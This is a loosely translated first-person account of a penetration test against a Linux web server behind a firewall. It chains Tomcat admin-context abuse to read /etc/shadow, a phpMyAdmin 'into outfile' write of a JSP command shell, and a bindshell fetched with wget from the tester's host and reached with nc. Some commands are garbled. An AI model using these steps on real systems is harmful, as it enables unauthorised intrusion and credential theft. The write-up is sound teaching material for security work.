A penetration test process for Linux servers

For a Linux Server penetration test process-Linux Enterprise Application-Linux server application information, see the following for details. I took a penetration test task some time ago, and the process was a bit interesting. So I just wrote it for your reference.

Two of the three hosts we detected are Linux and one is AIX. There is also a VBR.
The host of the target network provides external access through address translation, and uses the 172. 16. *. * address segment internally (the information is obtained after the test and is unknown at the beginning ). There is a Cisco PIX 525 behind the VBR.
(515 ?) Protects three hosts and only allows external users to connect some ports of different hosts, such as 80 and 25,110.

According to our detection, the filtering rules of the Cisco PIX Firewall are still strictly set, basically there are no redundant ports for external users to access.

After port scanning for xx. xx. xx.2 and xx. xx. xx.3, we found that only WEB Services in xx. xx. xx.3 were used for indirect attacks. First, check the TCP/80 port service. We found that the news search function is provided on another port 8070. Input: http://yyy.yyy.yyy: 8070/

Then, a system management logon page is displayed. After a simple test, enter test/test as the user name/password. It seems that the authentication is successful, but the next page cannot be entered. We found this port is running
Tomcat 3.1, which has a security vulnerability. The default/admin directory is accessible. After entering: http://yyy.yyy.yyy: 8070/admin, we really saw the "Tomcat Administration Tools" page, by clicking the "Context Admin" link, we can manage the Tomcat Context, for example, view, add, and delete Context. This Context is a bit like a virtual directory, so we can add a context, such as "/tt", to set its document root directory to "/" so that when we access the http://yyy.yyy.yyy: 8070/tt is the list of system root directories! You can further view any files in any directory. Because Tomcat runs as root, you can view any system file, such as/etc/passwd and/etc/shadow. After the password is cracked Based on the password file, it is found that both the test and root users in the system use a very simple password: 123456. Although external users cannot directly access the telnet service, these passwords should be reset to stronger strings.

By exploiting this vulnerability, we can basically view the entire system. However, as data cannot be written, it does not seem to be a great threat.

So we moved our attention to forums and chat rooms. One listener and one listener are on port 8080. Enter http://yyy.yyy.yyy: 8080/directly, we see the welcome page of Tomcat4.1.10, click the management link on the left: http://yyy.yyy.yyy: 8080/admin, we get a login page, although we do not know the password, however, through the preceding port 8070 vulnerability, we found the file for Tomcat to save these passwords, and obtained the admin username and empty password. So we can manage the entire Tomcat server.

But this is still not enough for us to run commands on the system. So we continue to check the port 8888 of the chat room. This port runs apache 1.3.26 + php 4.1.2. I didn't find any problems at the beginning. I suddenly thought that the two vulnerabilities found above are related to/admin. Will this directory also exist on this port? After entering this directory, we were surprised to find that we entered a phpMyadmin management interface. We can perform any operation on the entire database. Because the database is MySQL, it supports reading or writing data from the local operating system. Therefore, we have created a simple table in the test database and added a record. The recorded content is the content of a PHP file. We want to write a PHP file, use php to call external commands to execute commands. We use
Select tt into outfile/path/test. php from kk

(Thanks to James for providing technical support)

This command is used to write the database content to a PHP file. However, because mysql runs as a mysql user, it cannot be written to the apache directory. So this attempt failed.

We came up with another method. We can access any system file by exploiting the 8070 Port vulnerability, while port 8070 is provided by tomcat. If we can try to create one in the system. jsp file, you can remotely access this jsp file, it will be processed and run by tomcat. If the content in this. jsp file is a piece of code that executes the system command, you can run the system command.

So we re-compiled a piece of jsp code that can execute system commands, input it to the test table, and then use the into outfile method to write its content to/tmp/test. jsp file, and then access the following link:
Http://yyy.yyy.yyy: 8070/tt/tmp/test. jsp

(Thanks to watercloud for providing technical support)

We found that the specified command was executed! It is executed as root. This means that we have full control over the entire system.

Of course, it is easier to execute commands through cgi than to have a shell. Of course, the easiest way is to enable an xterm to connect to our Xwindows system. However, we use NAT and cannot connect to it. I heard that the engineering department has an IP address that can be accessed externally, so I moved the notebook and used it for preparation. After everything was ready, I found that the other party was shut down! @ # ^ * # % # $ %

The next day, I decided to use the old method to open a shell. First, you must find a port that can be accessed externally. However, the firewall does not allow external access to all ports. After some tests, we found that all ports allowed to access are occupied. Look at the process carefully and find that chatserver occupies 4 ports, each of which corresponds to a chat room, and no one is using these chat rooms. So I will kill one of the processes first, so that a shell can be bound to the corresponding port.

Use jsp to execute commands to download/compile/run our bindshell:
Wget http: // ourhost/bindshell. c
Gcc-o bindshell. c
Nohup./bindshell

Now we can connect to our shell: nc yyy. yyy. yyy 9100

Now we are behind the firewall, so we can directly access the Intranet. The following internal hosts are found through scanning:

172.16.1.1 Cisco PIX
172.16.1.2 mail
172.16.1.3 web
172.16.1.4 oracle db

Further tests can also intrude into oracle servers. So far, this penetration test has basically ended.